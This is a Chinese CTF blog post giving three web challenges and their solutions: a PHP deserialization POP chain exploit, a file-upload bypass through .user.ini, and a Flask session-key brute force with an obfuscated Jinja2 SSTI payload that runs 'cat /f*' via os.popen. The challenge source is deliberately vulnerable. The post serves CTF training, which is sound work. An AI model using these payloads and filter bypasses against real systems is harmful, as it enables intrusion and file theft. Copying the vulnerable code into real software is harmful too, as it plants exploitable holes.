首页 > 其他分享 >MiniNK WEB 选拔题 by F12

MiniNK WEB 选拔题 by F12

时间:2023-07-16 16:23:54浏览次数:35  
标签:__ WEB name format app c% MiniNK F12 95

Start

除了梦想外一无所有的我们,将会和蔑视与困境做最后的斗争,这是最后一舞

N0wayBack 联合战队成立以来一直致力于信息安全技术的研究,作为联合战队活跃在各大 CTF (信息安全竞赛)赛事之中,并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。战队现有师傅20余名,特训学生10余名,包括了研、本科学生,企、事业单位员工以及网安实验室成员,内部氛围融洽,关系和谐。虽然我们可能身份各异、年龄跨岭,但在这里,我们只有一个身份,那就是热爱网安的CTFer

给MiniNK师傅出的web题,正好最近有点心得,又逢考试月,心情难免有点压抑,出题释放释放我的emo情绪。

ezpop

最近做反序列化的题真是有点多,每次都得坐会牢,新鲜的玩法暂时还没想到,就想着整点老玩法吧,字符逃逸,嗯,感觉有点简单了,配不上Mini师傅的身份,那浅浅加个原生类利用,就当做mini师傅的签到题了。首先先手撸php代码,过程有点曲折,直接放源码了:

<?php 
highlight_file(__FILE__);
error_reporting(0);
class A{
    public $name;
    public $a;
    public $b;
    public function __construct(){
        $this->name = '学霸';
    }
    public function Eval(){
        if($this->name != '学渣'){
            die('不是学渣不配拿flag');
        } else {
            echo new $this->a($this->b);
        }
    }
    public function __call($a,$b){
        $this->Eval();
    }
}
class B{
    public $en;
    public $test;
    public function __construct($en){
        $this->en = $en;
    }
    public function __destruct(){
        echo $this->test;
    }
}
class C{
    public $good;
    public function __toString(){
        $this->good->havefun();
    }
}
if(isset($_POST['p'])){
    $p = $_POST['p'];
    $p = preg_replace('/学渣/i','学霸', $p);
    $p = preg_replace('/heizi/i','lanqiu', $p);
    echo unserialize($p);
}
?>

非常简单的一道反序列化,坏了,怎么长的像篮球杯,感觉有点疯魔了,算了,就这样吧,还是有差别的。链子很简单,B::__destruct() -> C::__toString() -> A::__call -> A::Eval,进入到Eval,我们就能利用原生类读取文件了。这里需注意的是学渣被替换成学霸导致无法进入Eval,我们可以利用十六进制来绕过这个替换,S下的内容会以十六进制的形式被识别。

链子exp如下:

<?php
class A{
    public $name="学渣";
    public $a;
    public $b;
}
class B{
    public $en = 'heizi';
    public $test;
}
class C{
    public $good;
}
$a = new A;
$b = new B;
$c = new C;
$b->test = $c;
$b->en = 'heiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheiziheizi";s:4:"test";O:1:"C":1:{s:4:"good";O:1:"A":3:{s:4:"name";S:6:"\e5\ad\a6\e6\b8\a3";s:1:"a";s:13:"SplFileObject";s:1:"b";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}}}';
$c->good = $a;
$a->a = 'SplFileObject';
$a->b = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($b);
?>

不知所措

本来想出一个实战中遇见的伪静态页面注入,但实现起来有点困难,火烧眉毛了,就准备换个题型出,想了半天打算出个文件上传,但又不能过于简单,突然灵光一闪,就有了这题

#index.php
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

#upload.php
<?php
    highlight_file(__FILE__);
    $file = $_FILES['file'];
    if(!$file){
        exit("请勿上传空文件");
    }
    $dir = "upload/";
    $name = $_FILES['file']['name'];
    $tmp = $_FILES['file']['tmp_name'];
    echo $tmp;
    $ext = substr(strrchr($name, '.'), 0);
    if(preg_match('/p|h|s|[0-9]/i',$ext)){
        $ext = ".jpg";
        $name = time().$ext;
    }
    $path = $dir.$name;
    move_uploaded_file($tmp, $path);
?>

简单的做了个过滤,会将上传的文件名替换成时间戳+.jpg,但是这段代码逻辑存在些缺陷,如果我们上传.user.ini就会是原样上传,这里考查选手编写脚本爆破时间戳文件名的能力和意识到.user.ini的存在

import requests
import time
url = "http://192.168.13.83:9999/upload.php"
file = open('a.php', 'r')
r = requests.post(url, files={"file": file})
print(str(time.time())[:10])

非常的简单,这里时间戳跟上传的居然完全一样,难度再度下降,早知道设置个sleep了

无中生有

江郎才尽了,没有一丝丝灵感。突然想到一个考点见的很少,flask seesion,大家都熟透了,大部分似乎都是找app.secret ,很少见到来爆破secret的,嗯,想想就一阵激动。这里就不得不提一个工具: flask-unsign, 这个被打包成了pip,安装直接pip install flask-unsign ,完全可以当作flask-session-manager的替代品。爆破命令:

flask-unsign --unsign --cookie="Your_session"

爆出key: root,题目流程很简单,伪造session成admin后我们就能使用ssti这个点了,ssti当然差不多拉到最高level的过滤了,老生常谈,也是考一个比较偏僻的特性

'%c%c%c%c········'|format(99,99,99,98·······)

很明显,format(99)后的字符填充到%c处,这样可以绕过大部分对于关键字的过滤了。过滤了. 用attr来拼接,究极payload就是:

{%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat /f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}

利用的类很多,并不局限于我这一种。这里是题目源码,写的很草率,师傅们轻喷:

#app.py
from flask import Flask, request, render_template, session, render_template_string
app = Flask(__name__)
app.secret_key = "root"

@app.route('/')
def index():
    session['username'] = 'guest'
    return render_template_string('<!-- /hello 下有好东西给你康-->')
@app.route('/hello', methods=['GET'])
def hello():
    name = request.args.get('name')
    black_list = ['\"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']
    if name:
        for i in black_list:
            if i in name:
                return render_template_string('<script>alert("hacker!!!")</script>')

        if session.get('username') == 'admin':
            context = render_template('templates.html')
            context = context.format(name)
            return render_template_string(context)
        else:
            return "只有admin才有资格使用这个功能哦"
    else:
        return render_template_string('<h1>Hello 旅行者</h1>')
if __name__ == '__main__':
    app.run(host="0.0.0.0")
<!-- templates.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>HELLO</title>
</head>
<body>
Hello {}
</body>
</html>
#Dockerfile
# 基于的基础镜像,这里使用python,开发版本是 3.9.2 ,基础镜像也写3.9.2
FROM python:3.9.2
# /app 是要部署到服务器上的路径
WORKDIR /app
# Docker 避免每次更新代码后都重新安装依赖,先将依赖文件拷贝到项目中
COPY requirements.txt requirements.txt
# 执行指令,安装依赖
RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
# COPY指令和ADD指令功能和使用方式类似。只是COPY指令不会做自动解压工作。
# 拷贝项目文件和代码
COPY . .
# 执行指令,字符串间是以空格间隔
CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]

requirements.txt

gunicorn
gevent
flask
#gunicorn.conf.py
workers = 5    # 定义同时开启的处理请求的进程数量,根据网站流量适当调整
worker_class = "gevent"   # 采用gevent库,支持异步处理请求,提高吞吐量
bind = "0.0.0.0:80" #设置端口80,这里注意要设置成0.0.0.0,如果设置为127.0.0.1的话就只能本地访问服务了

End

祝师傅们玩的开心

We are still on the way, welcome to join us!

标签:__,WEB,name,format,app,c%,MiniNK,F12,95
From: https://www.cnblogs.com/F12-blog/p/17533923.html

相关文章

  • webpack打包格式及使用说明
    webpack打包的devTool选项格式的含义如下选项含义优点缺点适用场景evaleval会将每一个module模块,执行eval,执行后不会生成sourcemap文件,仅仅是在每一个模块后,增加sourceURL来关联模块处理前后对应的关系速度快由于会映射到转换后的代码,而不是映射到原始代码,所以不能......
  • 【一】Ajax与异步编程之web服务端
    【一】Ajax与异步编程之web服务端Ajax属于客户端网络技术,属于js范畴。基于aiohttp模Ajax与异步编程之web服务端块构建一个提供http协议的web服务器,并准备数据给客户端请求使用。pipinstallaiohttppipinstallaiohttp_corsserver.pyfromaiohttpimportwebimporta......
  • python通过Websocket与html主动通讯
    python通过Websocket与html主动通讯导语:在Web开发中,实现实时通信是一项常见的需求。本文将介绍如何使用Python和WebSocket技术实现与HTML页面的实时通信,以显示当前的实时时间。1.WebSocket简介WebSocket是一种全双工通信协议,允许在客户端和服务器之间建立持久连接,实现实时数据......
  • webhook
    作用范围kube-apiserver请求处理全流程webhook可以作用于准入。准入控制回调时,MutatingAdmissionWebhook可以修改对象,ValidatingAdmissionWebhook可以拒绝请求。参考资料深入理解KubernetesAdmissionWebhook......
  • VUE WebSocket连接成功后,立即发送一个token
    ws=newWebSocket(ws://${location.host}/xxx)ws.onopen=()=>{ws.send(JSON.stringify({headers:{Authorization:Bearer${token}}}));isConnected.value=true;}查看方法:在消息数据里(不是标头里)......
  • Web
    Web一.web:全球广域网,也称为万维网(wwwWorldWideWeb),能够通过浏览器访问的网站。二.web网站开发模式:三.web标准:1.web标准:也成为网页标准,大部分由W3C(WorldWideWebConsortium万维网联盟)负责制定。2.三个组成部分:(1)HTML(HyperTextMarkupLanguage):负责网页的结构(页面元素......
  • JavaWeb
    JavaWeb基本概念1.1前言web开发:web:网页的意思静态webhtml,css提供给所有人看的数据始终不会发生变化动态web提供给所有人看的数据始终会发生变化,每个人在不同的时间不同的地点看到的信息各不相同。几乎所有的网站。技术栈:Servlet/JSP,ASP,PHP......
  • Python使用Flask开发Web服务-裴-从0到1创建Flask程序
     static下面放一些静态文件图片、css等,templates下面放置模板编写好的html文件等; app.run() 通过app.route找到要运行的函数,函数中通过render_template将参数传递给HTML模板文件,HTML中将提取出的数据展示出来; ......
  • 如何将Maven项目快速改造成一个java web项目(方式二)
    原始的maven项目,使用IDEA打开后,目录结构如下所示删除pom.xml文件,删除resource目录,将java目录下的代码放到项目根目录下,将webapp目录放到项目根目录下。如下图所示 开始配置项目,首先配置Project,配置好之后点击Apply,如下图, 接下来配置Facets  这时候会跳转到......
  • 如何将Maven项目快速改造成一个java web项目(方式一)
    因为实际需要,需要将一个maven项目改造成原生的java-web项目,写这边博客来记录整个改造的过程。原始的maven项目,使用IDEA打开后,目录结构如下所示 直接通过文件夹查看项目结果如下 首先删除一些文件,只保留sql和src两个目录,如下 使用IDEA打开后的目录结构如下继续......